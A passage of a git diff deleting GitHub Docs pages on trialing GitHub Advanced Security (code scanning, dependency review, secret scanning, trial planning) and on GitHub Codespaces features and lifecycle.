variables.product.prodname_code_scanning %} is enabled, you can then block merges into important branches unless the pull request meets your requirements by creating a code ruleset for the enterprise or organization. Typically, you would require that results from {% data variables.product.prodname_code_scanning %} are present and that any important alerts are resolved. - -* **Type of ruleset:** Branch. -* **Require {% data variables.product.prodname_code_scanning %} results:** Enable to block merging until results are successfully generated for the commit and the reference the pull request targets. -* **Required tools and alert thresholds:** Define the level of alerts that must be resolved before a pull request can be merged for each {% data variables.product.prodname_code_scanning %} tool you use. - -As with all rulesets, you can control exactly which organizations (enterprise-level), repositories, and branches it acts on and also define roles or teams who can bypass the rule. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets). - -### Dependency review - -When {% data variables.product.prodname_GH_code_security %} and dependency graph are enabled for a repository, manifest files have a rich diff view which shows a summary of the dependencies that it adds or updates. This is a useful summary for human reviewers of the pull request but does not provide any control of which dependencies are added to the codebase. - -Most enterprises put automatic checks in place to block the use of dependencies with known vulnerabilities or unsupported license terms. - -1. Create a private repository to serve as a central home where you can store reusable workflows for the enterprise. -1. Edit the actions settings for the repository to allow all private repositories in the enterprise to access workflows in this central repository, see [Allowing access to components in a private repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-access-to-components-in-a-private-repository). -1. In the central repository, create a reusable workflow to run the dependency review action, configuring the action to meet your business needs, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-review-action). -1. In each organization, create or update branch rulesets to add the new workflow to the required status checks, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/enforcing-dependency-review-across-an-organization). - -This allows you to update the configuration in a single location, but use the workflow in many repositories. You may want to use this central repository to maintain other workflows. For more information, see [AUTOTITLE](/actions/sharing-automations/reusing-workflows). - -### {% data variables.product.prodname_copilot_short %} review - -> [!NOTE] -> -> {% data reusables.copilot.code-review.preview-note %} -> * If you get a {% data variables.product.prodname_copilot_short %} subscription from an organization, you will only be able to participate in the {% data variables.release-phases.public_preview %} on the {% data variables.product.github %} website if an owner of your organization {% ifversion ghec %}or enterprise{% endif %} has enabled **Copilot in GitHub.com > Opt in to preview features** in the **{% data variables.product.prodname_copilot %} policies** page of the organization {% ifversion ghec %}or enterprise{% endif %} settings. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-policies-for-copilot-in-your-organization#enabling-copilot-features-in-your-organization){% ifversion ghec %} and [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-policies-and-features-for-copilot-in-your-enterprise#copilot-in-githubcom){% endif %}. - -By default, users request a review from {% data variables.product.prodname_copilot_short %} in the same way as they do from human reviewers. However, you can update or create an organization-level branch ruleset to automatically add {% data variables.product.prodname_copilot_short %} as a reviewer to all pull requests made to selected branches in all or selected repositories. See [AUTOTITLE](/copilot/using-github-copilot/code-review/configuring-automatic-code-review-by-copilot). - -{% data variables.product.prodname_copilot_short %} leaves a review comment on each pull request it reviews, without approving the pull request or requesting changes. This ensures that its review is advisory and will not block development work. Similarly, you should not enforce the resolution of suggestions made by {% data variables.product.prodname_copilot_short %} because AI suggestions have known limitations, see [AUTOTITLE](/copilot/responsible-use-of-github-copilot-features/responsible-use-of-github-copilot-code-review#limitations-of-github-copilot-code-review). - -## Define where {% data variables.product.prodname_copilot_autofix_short %} is allowed and enabled - -{% data variables.product.prodname_copilot_autofix_short %} helps developers understand and fix {% data variables.product.prodname_code_scanning %} alerts found in their pull requests. We recommend that you enable this feature for all repositories to help developers resolve alerts efficiently and increase their understanding of secure coding. - -There are two levels of control: - -* Enterprises can allow or block use of {% data variables.product.prodname_copilot_autofix_short %} throughout the enterprise using an "{% ifversion ghas-products %}{% data variables.product.prodname_AS %}{% else %}Code security{% endif %}" policy, see: [AUTOTITLE](/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise). -* Organizations can enable or disable {% data variables.product.prodname_copilot_autofix_short %} for all organization-owned repositories in the "Global settings" for the organization, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/configuring-global-security-settings-for-your-organization). - -## Engage developers in security remediation - -Security campaigns provide a way for security teams to engage with developers to remediate security technical debt. They also provide a practical way to combine education in secure coding with examples of vulnerable code in code that your developers are familar with. For more information, see [AUTOTITLE](/code-security/securing-your-organization/fixing-security-alerts-at-scale/about-security-campaigns) and [AUTOTITLE](/code-security/securing-your-organization/fixing-security-alerts-at-scale/best-practice-fix-alerts-at-scale). - -## Provide a secure development environment - -The development environment has many components. Some of the most useful features for scaling and standardizing a secure development environment in {% data variables.product.github %} are: - -* **Security configurations:** define the setup of security features for the enterprise, an organization, a subset of organization repositories, or new repositories, see [Refine your security configurations](#refine-your-security-configurations). -* **Policies:** protect and control use of resources for the enterprise or an organization, see [AUTOTITLE](/admin/enforcing-policies/enforcing-policies-for-your-enterprise). -* **Rulesets:** protect and control branches, tags, and pushes for an organization, a subset of organization repositories, or a repository, see [AUTOTITLE](/organizations/managing-organization-settings/creating-rulesets-for-repositories-in-your-organization). -* **Repository templates:** define the security workflows and processes needed for each type of environment, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-template-repository). For example, each template might contain a specialized: - * Security policy file defining the company's security stance and how to report any security concerns. - * Workflow to enable {% data variables.product.prodname_dependabot_version_updates %} for package managers used by the company. - * Workflow defining advanced setup for {% data variables.product.prodname_code_scanning %} for supported development languages where the default setup results are not enough. - -In addition, when a developer creates a repository from a template they must define the value of any required custom properties. Custom properties are very useful for selecting a subset of repositories that you want to apply configurations, policies, or rulesets to, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/managing-custom-properties-for-repositories-in-your-enterprise). - -## Next steps - -When you have finished exploring these options and {% data variables.product.prodname_secret_scanning %} features, you are ready to test your discoveries so far against your business needs, and then explore further. - -## Further reading - -* [AUTOTITLE](/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions) -* [AUTOTITLE](/admin/enforcing-policies/enforcing-policies-for-your-enterprise) -* [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/governing-how-people-use-repositories-in-your-enterprise) -* [Enforce {% data variables.product.prodname_GHAS %} at Scale](https://wellarchitected.github.com/library/application-security/recommendations/enforce-ghas-at-scale/) diff --git a/content/code-security/trialing-github-advanced-security/explore-trial-secret-scanning.md b/content/code-security/trialing-github-advanced-security/explore-trial-secret-scanning.md deleted file mode 100644 index ab89573584ea..000000000000 --- a/content/code-security/trialing-github-advanced-security/explore-trial-secret-scanning.md +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Exploring your enterprise trial of secret scanning -shortTitle: Trial secret scanning -allowTitleToDifferFromFilename: true -intro: 'Introduction to the features of {% data variables.product.prodname_secret_scanning %} available with {% data variables.product.prodname_GH_secret_protection %} in {% data variables.product.prodname_ghe_cloud %} so you can assess their fit to your business needs.' -type: quick_start -topics: - - Secret Protection -versions: - fpt: '*' - ghec: '*' ---- - -This guide assumes that you have planned and started a trial of {% data variables.product.prodname_GHAS %} for an existing or trial {% data variables.product.github %} enterprise account, see [AUTOTITLE](/code-security/trialing-github-advanced-security/planning-a-trial-of-ghas). - -## Introduction - -{% data variables.product.prodname_secret_scanning_caps %} features work the same way in private and internal repositories with {% data variables.product.prodname_GH_secret_protection %} enabled as they do in all public repositories. This article focuses on the additional functionality that you can use to protect your business from security leaks when you use {% data variables.product.prodname_GH_secret_protection %}, that is: - -* Identify additional access tokens you use. -* Detect potential passwords using AI. -* Control and audit the bypass process for push protection. -* Enable validity checks for exposed tokens. - -### Security configuration for {% data variables.product.prodname_secret_scanning %} - -Most enterprises choose to enable {% data variables.product.prodname_secret_scanning %} and push protection across all their repositories by applying security configurations with these features enabled. This ensures that repositories are checked for access tokens that have already been added to {% data variables.product.github %}, in addition to flagging when users are about to leak tokens in {% data variables.product.github %}. For information about creating an enterprise-level security configuration and applying it to your test repositories, see [AUTOTITLE](/code-security/trialing-github-advanced-security/enable-security-features-trial). - -### Provide access to view the results of {% data variables.product.prodname_secret_scanning %} - -By default, only the repository administrator and the organization owner can view all {% data variables.product.prodname_secret_scanning %} alerts in their area. You should assign the predefined security manager role to all organization teams and users who you want to access the alerts found during the trial. You may also want to give the enterprise account owner this role for each organization in the trial. For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization). - -You can see a summary of any results found in the organizations in your trial enterprise in the **{% ifversion ghas-products-cloud %}{% data variables.product.prodname_AS %}{% else %}Code security{% endif %}** tab for the enterprise. There are also separate views for each type of security alert, see [AUTOTITLE](/code-security/security-overview/viewing-security-insights). - -## Identify additional access tokens - -You can create custom patterns to identify additional access tokens at the repository, organization, and enterprise level. In most cases, you should define custom patterns at the enterprise level because this will ensure that the patterns are used across the whole enterprise. It will also make them easy to maintain if you need to update a pattern when the format for a token changes. - -Once you have created and published custom patterns, both {% data variables.product.prodname_secret_scanning %} and push protection automatically include the new patterns in all scans. For detailed information about creating custom patterns, see [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/defining-custom-patterns-for-secret-scanning). - -## Use AI to detect potential passwords - -At the enterprise level you have full control over whether or not to allow the use of AI to detect secrets that cannot be identified using regular expressions (also known as generic secrets or as non-provider patterns). - -* Turn the feature on or off for the whole enterprise. -* Set a policy to block control of the feature at the organization and repository level. -* Set a policy to allow organization owners or repository administrators to control the feature. - -Similar to custom patterns, if you enable AI detection both {% data variables.product.prodname_secret_scanning %} and push protection automatically start using AI detection in all scans. For information about enterprise-level control, see [AUTOTITLE](/admin/managing-code-security/securing-your-enterprise/configuring-additional-secret-scanning-settings-for-your-enterprise) and [AUTOTITLE](/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise). - -## Control and audit the bypass process - -When push protection blocks a push to {% data variables.product.github %} in a public repository without {% data variables.product.prodname_GH_secret_protection %}, the user has two simple options: bypass the control, or remove the highlighted content from the branch and its history. If they chose to bypass push protection, a {% data variables.product.prodname_secret_scanning %} alert is automatically created. This allows developers to rapidly unblock their work while still providing an audit trail for the content identified by {% data variables.product.prodname_secret_scanning %}. - -Larger teams usually want to maintain tighter control over the potential publication of access tokens and other secrets. With {% data variables.product.prodname_GH_secret_protection %}, you can define a reviewers group to approve requests to bypass push protection, reducing the risk of a developer accidentally leaking a token that is still active. Reviewers are defined in an organization-level security configuration or in the settings for a repository. For more information, see [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/about-delegated-bypass-for-push-protection). - -## Enable validity checks - -You can enable validity checks to check whether detected tokens are still active at the repository, organization, and enterprise level. Generally, it is worth enabling this feature across the whole enterprise using enterprise or organization-level security configurations. For more information, see [AUTOTITLE](/code-security/secret-scanning/enabling-secret-scanning-features/enabling-validity-checks-for-your-repository). - -## Next steps - -When you have enabled the additional controls for {% data variables.product.prodname_secret_scanning %} available with {% data variables.product.prodname_GH_secret_protection %}, you're ready to test them against your business needs, and explore further. You may also be ready to look into trialing {% data variables.product.prodname_code_scanning %}. - -* [AUTOTITLE](/code-security/trialing-github-advanced-security/explore-trial-code-scanning) - -## Further reading - -* [Enforce {% data variables.product.prodname_GHAS %} at Scale](https://wellarchitected.github.com/library/application-security/recommendations/enforce-ghas-at-scale/) diff --git a/content/code-security/trialing-github-advanced-security/index.md b/content/code-security/trialing-github-advanced-security/index.md deleted file mode 100644 index 65d173f263e1..000000000000 --- a/content/code-security/trialing-github-advanced-security/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Trialing {% data variables.product.prodname_GHAS %} -shortTitle: Trial {% data variables.product.prodname_GHAS %} -intro: 'Learn how to get the most out of your trial of {% data variables.product.prodname_GHAS %}.' -product: '{% data reusables.gated-features.ghas-ghec %}' -versions: - fpt: '*' - ghec: '*' -topics: - - Enterprise - - Code Security - - Secret Protection -children: - - /planning-a-trial-of-ghas - - /enable-security-features-trial - - /explore-trial-secret-scanning - - /explore-trial-code-scanning ---- diff --git a/content/code-security/trialing-github-advanced-security/planning-a-trial-of-ghas.md b/content/code-security/trialing-github-advanced-security/planning-a-trial-of-ghas.md deleted file mode 100644 index 432b424f277a..000000000000 --- a/content/code-security/trialing-github-advanced-security/planning-a-trial-of-ghas.md +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: 'Planning a trial of {% data variables.product.prodname_GHAS %}' -shortTitle: 'Plan GHAS trial' -allowTitleToDifferFromFilename: true -intro: 'Ensure that your trial gives you the answers you need to make a decision on whether or not {% data variables.product.prodname_GHAS %} products meet your business needs.' -type: overview -topics: - - Code Security - - Secret Protection -versions: - fpt: '*' - ghec: '*' ---- - -## About trialing {% data variables.product.prodname_GHAS %} - -You can trial {% data variables.product.prodname_GHAS %} independently, or working with an expert from {% data variables.product.github %} or a partner organization. The primary audience for these articles is people who will plan and run their trial independently, typically small and medium-sized organizations. - -> [!NOTE] Although {% data variables.product.prodname_GHAS %} is free of charge during trials, you will be charged for any actions minutes that you use. That is, actions minutes used by the {% data variables.product.prodname_code_scanning %} default setup or by any other workflows you run. - -### Existing {% data variables.product.prodname_ghe_cloud %} users - -{% data reusables.advanced-security.ghas-trial-availability %} For more information, see [AUTOTITLE](/enterprise-cloud@latest/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/setting-up-a-trial-of-github-advanced-security#setting-up-your-trial-of-github-advanced-security){% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %}. - -{% data reusables.advanced-security.ghas-trial-invoiced %} - -### Users on other GitHub plans - -You can trial {% data variables.product.prodname_GHAS %} as part of a trial of {% data variables.product.prodname_ghe_cloud %}. For more information, see [AUTOTITLE](/admin/overview/setting-up-a-trial-of-github-enterprise-cloud){% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %}. - -### When the trial ends - -You can end your trial at any time by purchasing {% data variables.product.prodname_GHAS_cs_or_sp %}. If you don't already use {% ifversion ghas-products-cloud %}{% data variables.product.prodname_team %} or {% endif %}{% data variables.product.prodname_enterprise %} you will need to upgrade your plan. Alternatively, you can cancel the trial at any time. For more information, see [What happens when the trial ends?](/enterprise-cloud@latest/admin/overview/setting-up-a-trial-of-github-enterprise-cloud#what-happens-when-the-trial-ends){% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %}. - -{% data reusables.advanced-security.ghas-products-tip %} - -## Define your company goals - -Before you start a trial of {% data variables.product.prodname_GHAS %}, you should define the purpose of the trial and identify the key questions you need to answer. Maintaining a strong focus on these goals will enable you to plan a trial that maximizes discovery and ensures that you have the information needed to decide whether or not to upgrade. - -If your company already uses {% data variables.product.github %}, consider what needs are currently unmet that {% data variables.product.prodname_GHAS %} might address. You should also consider your current application security posture and longer term aims. For inspiration, see [Design Principles for Application security](https://wellarchitected.github.com/library/application-security/design-principles/) in the {% data variables.product.github %} well-architected documentation. - -{% rowheaders %} - -| Example need | Features to explore during the trial | -|--|--| -| Enforce use of security features | Enterprise-level security configurations and policies, see [AUTOTITLE](/admin/managing-code-security/securing-your-enterprise/about-security-configurations) and [AUTOTITLE](/admin/enforcing-policies/enforcing-policies-for-your-enterprise/about-enterprise-policies) | -| Protect custom access tokens | Custom patterns for {% data variables.product.prodname_secret_scanning %}, delegated bypass for push protection, and validity checks, see [AUTOTITLE](/code-security/trialing-github-advanced-security/explore-trial-secret-scanning) | -| Define and enforce a development process | Dependency review, auto-triage rules, rulesets, and policies, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review), [AUTOTITLE](/code-security/dependabot/dependabot-auto-triage-rules/about-dependabot-auto-triage-rules), [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets), and [AUTOTITLE](/admin/enforcing-policies/enforcing-policies-for-your-enterprise/about-enterprise-policies) | -| Reduce technical debt at scale | {% data variables.product.prodname_code_scanning_caps %} and security campaigns, see [AUTOTITLE](/code-security/trialing-github-advanced-security/explore-trial-code-scanning) | -| Monitor and track trends in security risks | Security overview, see [AUTOTITLE](/code-security/security-overview/viewing-security-insights) | - -{% endrowheaders %} - -If your company doesn't use {% data variables.product.github %} yet, you are likely to have additional questions including how the platform handles data residency, secure account management, and repository migration. For more information, see [AUTOTITLE](/get-started/onboarding/getting-started-with-github-enterprise-cloud). - -## Identify the members of your trial team - -{% data variables.product.prodname_GHAS %} enables you to integrate security measures throughout the software development life cycle, so it's important to ensure that you include representatives from all areas of your development cycle. Otherwise you risk making a decision without having all the data you need. A trial includes 50 licenses which provides scope for representation from a wide range of people. - -You may also find it helpful to identify a champion for each company need that you want to investigate. - -## Determine whether preliminary research is needed - -If members of your trial team have not yet used the core features of {% data variables.product.prodname_GHAS %}, it may be helpful to add an experimentation phase in public repositories before you start a trial. Many of the primary features of {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_secret_scanning %} can be used on public repositories. Having a good understanding of the core features will allow you to focus your trial period on private repositories, and exploring the additional features and control available with {% data variables.product.prodname_GHAS %}. - -For more information, see [AUTOTITLE](/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning), [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security), and [AUTOTITLE](/code-security/secret-scanning/introduction/about-secret-scanning). - -## Agree the organizations and repositories to test - -Generally it is best to use an existing organization for a trial. This ensures that you can trial the features in repositories you know well and that accurately represent your coding environment. Once you start the trial, you may want to create additional organizations with test code to expand your explorations. - -Be aware that deliberately insecure applications, such as WebGoat, may contain coding patterns that appear to be insecure, but which {% data variables.product.prodname_code_scanning %} determines cannot be exploited. {% data variables.product.prodname_code_scanning_caps %} typically generates fewer results for artificially insecure codebases than other static application security scanners. - -## Define the assessment criteria for the trial - -For each company need or goal that you identify, determine what criteria you will measure to determine whether it is successfully met or not. For example, if one need is to enforce the use of security features, you might define a range of test cases for security configurations and policies to give you confidence that they enforce processes as you expect. - -## Next steps - -1. [AUTOTITLE](/admin/overview/setting-up-a-trial-of-github-enterprise-cloud) -1. [AUTOTITLE](/code-security/trialing-github-advanced-security/enable-security-features-trial) -1. [AUTOTITLE](/code-security/trialing-github-advanced-security/explore-trial-secret-scanning) -1. [AUTOTITLE](/code-security/trialing-github-advanced-security/explore-trial-code-scanning) diff --git a/content/codespaces/about-codespaces/codespaces-features.md b/content/codespaces/about-codespaces/codespaces-features.md deleted file mode 100644 index 1011c7165292..000000000000 --- a/content/codespaces/about-codespaces/codespaces-features.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: GitHub Codespaces features -shortTitle: Codespaces features -allowTitleToDifferFromFilename: true -intro: 'Learn about what GitHub Codespaces offer.' -versions: - fpt: '*' - ghec: '*' -type: overview -topics: - - Codespaces - - Developer ---- - -## {% data variables.product.prodname_github_codespaces %} features - -### Preconfigured development environments - -You can work in a development environment that has been specifically configured for the repository. It will have all of the tools, languages, and configurations you need to work on that project. Everyone who works on that repository in a codespace will have the same environment. This reduces the likelihood of environment-related problems occurring and being difficult to debug. Each repository can have settings that will give contributors a ready-to-use, fit-for-purpose environment, and the environment on your local machine will be unchanged. - -### Access the resources you need - -Your local computer may not have the processing power, or storage space, you need to work on a project. {% data variables.product.prodname_github_codespaces %} allows you to work remotely on a machine with adequate resources. - -### Work anywhere - -All you need is a web browser. You can work in a codespace on your own computer, on a friend's laptop, or on a tablet. Open your codespace and pick up from where you left off on a different device. - -### Choose your editor - -Work in the browser, using the {% data variables.product.prodname_vscode_shortname %} web client or JupyterLab, or in the desktop-based {% data variables.product.prodname_vscode_shortname %} application. - -### Work on multiple projects - -You can use multiple codespaces to work on separate projects, or on different branches of the same repository, compartmentalizing your work to avoid changes made for one piece of work accidentally affecting something else you're working on. - -### Pair program with a teammate - -If you work on a codespace in {% data variables.product.prodname_vscode_shortname %}, you can use Live Share to work collaboratively with other people on your team. See [AUTOTITLE](/codespaces/developing-in-a-codespace/working-collaboratively-in-a-codespace). - -### Publish your web app from a codespace - -Forward a port from your codespace and then share the URL, to allow teammates to try out the changes you've made to the application before you submit those changes in a pull request. - -### Try out a framework - -{% data variables.product.prodname_github_codespaces %} reduces the setup time when you want to learn a new framework. Just create a codespace from one of the [quickstart templates](https://github.com/codespaces/templates). diff --git a/content/codespaces/about-codespaces/deep-dive.md b/content/codespaces/about-codespaces/deep-dive.md deleted file mode 100644 index 10e789e433a3..000000000000 --- a/content/codespaces/about-codespaces/deep-dive.md +++ /dev/null @@ -1,155 +0,0 @@ ---- -title: 'Deep dive into {% data variables.product.prodname_github_codespaces %}' -shortTitle: 'Deep dive into {% data variables.product.prodname_codespaces %}' -intro: 'Explore more detail about how {% data variables.product.prodname_github_codespaces %} work.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghec: '*' -type: quick_start -topics: - - Codespaces -redirect_from: - - /codespaces/getting-started/deep-dive ---- - -{% data variables.product.prodname_github_codespaces %} is an instant, cloud-based development environment that uses a container to provide you with common languages, tools, and utilities for development. {% data variables.product.prodname_github_codespaces %} is also configurable, allowing you to create a customized development environment for your project. By configuring a custom development environment for your project, you can have a repeatable codespace configuration for all users of your project. - -## Creating your codespace - -There are a number of entry points to create a codespace. - -* From a {% data variables.product.company_short %} template or any template repository on {% data variables.product.github %} to start a new project -* From a branch in your repository for new feature work -* From an open pull request to explore work-in-progress -* From a commit in a repository's history to investigate a bug at a specific point in time - -{% data reusables.codespaces.ways-to-create-a-codespace %} - -Your codespace can be ephemeral if you need to test something or you can return to the same codespace to work on long-running feature work. - -For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-for-a-repository), [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-from-a-template), and [AUTOTITLE](/codespaces/developing-in-a-codespace/opening-an-existing-codespace). - -> [!NOTE] -> You can create more than one codespace per repository or even per branch. However, there are limits to the number of codespaces you can create, and the number of codespaces you can run at the same time. If you reach the maximum number of codespaces and try to create another, a message is displayed telling you that you must remove an existing codespace before you can create a new one. - -### The codespace creation process - -When you create a codespace, various steps happen in the background before the codespace is available to you. - -### Step 1: VM and storage are assigned to your codespace - -When you create a codespace, a virtual machine (VM) is created using either the stable or {% data variables.release-phases.public_preview %} release of the VM host image. For more information, see [AUTOTITLE](/codespaces/setting-your-user-preferences/choosing-the-stable-or-beta-host-image). The host image defines the version of Linux that is used for the VM. The VM is both dedicated and private to you. Having a dedicated VM ensures that you have the entire set of compute resources from that machine available to you. If necessary, this also allows you to have full root access to your container. - -A [shallow clone](https://github.blog/2020-12-21-get-up-to-speed-with-partial-clone-and-shallow-clone/) is then made of your repository, or of the template repository if you're creating a codespace from a template. This is cloned into the `/workspaces` directory of the VM and subsequently mounted into the dev container. For more information, see [About the directory structure of a codespace](#about-the-directory-structure-of-a-codespace) below. - -### Step 2: Dev container is created - -{% data variables.product.prodname_github_codespaces %} uses a Docker container as the development environment. This container is created based on configurations that you can define in a `devcontainer.json` file and, optionally, a Dockerfile. If you create a codespace from {% data variables.product.company_short %}'s blank template, or from a repository with no `devcontainer.json` file, {% data variables.product.prodname_github_codespaces %} uses a default image, which has many languages and runtimes available. For more information, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers). For details of what the default image for dev containers includes, see the [`devcontainers/images`](https://github.com/devcontainers/images/tree/main/src/universal) repository. - -> [!NOTE] -> If you want to use Git hooks in your codespace and apply anything in the [git template directory](https://git-scm.com/docs/git-init#_template_directory) to your codespace, then you must set up hooks during step 4 after the container is created. -> -> Since your repository is cloned onto the host VM before the container is created, anything in the [git template directory](https://git-scm.com/docs/git-init#_template_directory) will not apply in your codespace unless you set up hooks in your `devcontainer.json` configuration file using the `postCreateCommand` in step 4. For more information, see [Step 4: Post-creation setup](#step-4-post-creation-setup). - -### Step 3: Connecting to the codespace - -When your container has been created and any other initialization has run, you'll be connected to your codespace. You can connect to it by using: - -* Your web browser -* [{% data variables.product.prodname_vscode %}](/codespaces/developing-in-a-codespace/using-github-codespaces-in-visual-studio-code) -* [{% data variables.product.prodname_cli %}](/codespaces/developing-in-a-codespace/using-github-codespaces-with-github-cli) - -### Step 4: Post-creation setup - -Once you are connected to your codespace, your automated setup may continue to build based on the configuration specified in your `devcontainer.json` file. You may see `postCreateCommand` and `postAttachCommand` run. - -If you want to use Git hooks in your codespace, set up hooks using the `devcontainer.json` lifecycle scripts, such as `postCreateCommand`. For information about the lifecycle scripts, see the [dev containers specification](https://containers.dev/implementors/json_reference/#lifecycle-scripts) on the Development Containers website. - -If you have a public dotfiles repository for {% data variables.product.prodname_github_codespaces %}, you can enable it for use with new codespaces. When enabled, your dotfiles will be cloned to the container and the install script will be invoked. For more information, see [AUTOTITLE](/codespaces/setting-your-user-preferences/personalizing-github-codespaces-for-your-account#dotfiles). - -Finally, if you created the codespace from a repository, the entire history of the repository is copied down with a full clone. If you created the codespace from a template, the full history of the template repository is not preserved; instead, unless you are using the blank template, you will start with an initial commit for the contents of the template repository. - -During post-creation setup you'll still be able to use the integrated terminal and make edits to your files, but take care to avoid any race conditions between your work and the commands that are running. - -## {% data variables.product.prodname_codespaces %} lifecycle - -### Saving files in your codespace - -Save changes to files in the normal way, depending on the editor you are using. - -If you work on codespaces in {% data variables.product.prodname_vscode %}, you can enable [Auto Save](https://code.visualstudio.com/docs/editor/codebasics#_save-auto-save) to ensure that your changes are always saved. - -### Closing or stopping your codespace - -Your codespace will keep running while you are using it, but will time out after a period of inactivity. File changes from the editor and terminal output are counted as activity, so your codespace will not time out if terminal output is continuing. The default inactivity timeout period is 30 minutes. You can define your personal timeout setting for codespaces you create, but this may be overruled by an organization timeout policy. For more information, see [AUTOTITLE](/codespaces/setting-your-user-preferences/setting-your-timeout-period-for-github-codespaces). - -If a codespace times out it will stop running, but you can restart it from the browser tab (if you were using the codespace in the browser), from within {% data variables.product.prodname_vscode_shortname %}, or from your list of codespaces at [https://github.com/codespaces](https://github.com/codespaces). - -To stop your codespace you can - -* In the browser: on your list of codespaces at [https://github.com/codespaces](https://github.com/codespaces), click the ellipsis (**...**) to the right of the codespace you want to stop and click **Stop codespace**. -* In {% data variables.product.prodname_vscode_shortname %}: open the {% data variables.product.prodname_vscode_command_palette %} - for example, by pressing <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux) or <kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> (Mac) - type `Codespaces: stop` then press <kbd>Enter</kbd>. For more information, see [AUTOTITLE](/codespaces/reference/using-the-vs-code-command-palette-in-codespaces#suspending-or-stopping-a-codespace). -* In a terminal window: use the {% data variables.product.prodname_cli %} command `gh codespace stop`. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/using-github-codespaces-with-github-cli#gh-commands-for-github-codespaces). - -If you exit your codespace without running the stop command (for example, by closing the browser tab), or if you leave the codespace running without interaction, the codespace and its running processes will continue for the duration of the inactivity timeout period. - -When you close or stop your codespace, all uncommitted changes are preserved until you connect to the codespace again. - -## Running your application - -Port forwarding gives you access to TCP ports running within your codespace. For example, if you're running a web application on port 4000 within your codespace, you can automatically forward that port to make the application accessible from your browser. - -Port forwarding determines which ports are made accessible to you from the remote machine. Even if you do not forward a port, that port is still accessible to other processes running inside the codespace itself. - -![Diagram showing connections, over the internet, between a code editor or a browser on your device and a codespace on the cloud.](/assets/images/help/codespaces/port-forwarding.png) - -When an application running inside {% data variables.product.prodname_github_codespaces %} outputs a port to the console, {% data variables.product.prodname_github_codespaces %} detects the localhost URL pattern and automatically forwards the port. You can click on the URL in the terminal, or the link in the "toast" notification message that pops up at the bottom right corner of {% data variables.product.prodname_vscode_shortname %}, to open the port in a browser. By default, {% data variables.product.prodname_github_codespaces %} forwards the port using HTTP. For more information on port forwarding, see [AUTOTITLE](/codespaces/developing-in-a-codespace/forwarding-ports-in-your-codespace). - -While ports can be forwarded automatically, they are not publicly accessible to the internet. By default, all ports are private, but you can manually make a port available to your organization or public, and then share access through a URL. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/forwarding-ports-in-your-codespace#sharing-a-port). - -Running your application when you first land in your codespace can make for a fast inner dev loop. As you edit, your changes are automatically saved and available on your forwarded port. To view changes, go back to the running application tab in your browser and refresh it. - -## Committing and pushing your changes - -Git is installed by default in your codespace and so you can rely on your existing Git workflow. You can work with Git in your codespace either via the Terminal or by using the source control features of {% data variables.product.prodname_vscode_shortname %}. - -If you're working with an existing repository, you can create a codespace from any branch, commit, or pull request in the repository, or you can switch to a new or existing branch from within your active codespace. Because {% data variables.product.prodname_github_codespaces %} is designed to be ephemeral, you can use it as an isolated environment to experiment, check a teammate's pull request, or fix merge conflicts. - -If you only have read access to a repository, then you can create a codespace for the repository as long as you can fork it. When you make a commit from the codespace, or push a new branch, {% data variables.product.prodname_github_codespaces %} either automatically creates a fork of the repository for you, or links the codespace to an existing fork if you already have one for the upstream repository. - -If you're working in a codespace created from a template, Git is installed by default, but you will need to publish your codespace to a remote repository to persist your work and to share it with others. If you start from {% data variables.product.company_short %}'s blank template, you first need to initialize your workspace as a Git repository (for example by entering `git init`) to start using source control within the codespace. - -For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/using-source-control-in-your-codespace). - -> [!NOTE] -> Commits from your codespace will be attributed to the name and public email configured at https://github.com/settings/profile. A token scoped to the repository, included in the environment as `GITHUB_TOKEN`, and your GitHub credentials will be used to authenticate. - -## Personalizing your codespace with extensions - -You can add extensions within a codespace to personalize your experience in {% data variables.product.prodname_vscode_shortname 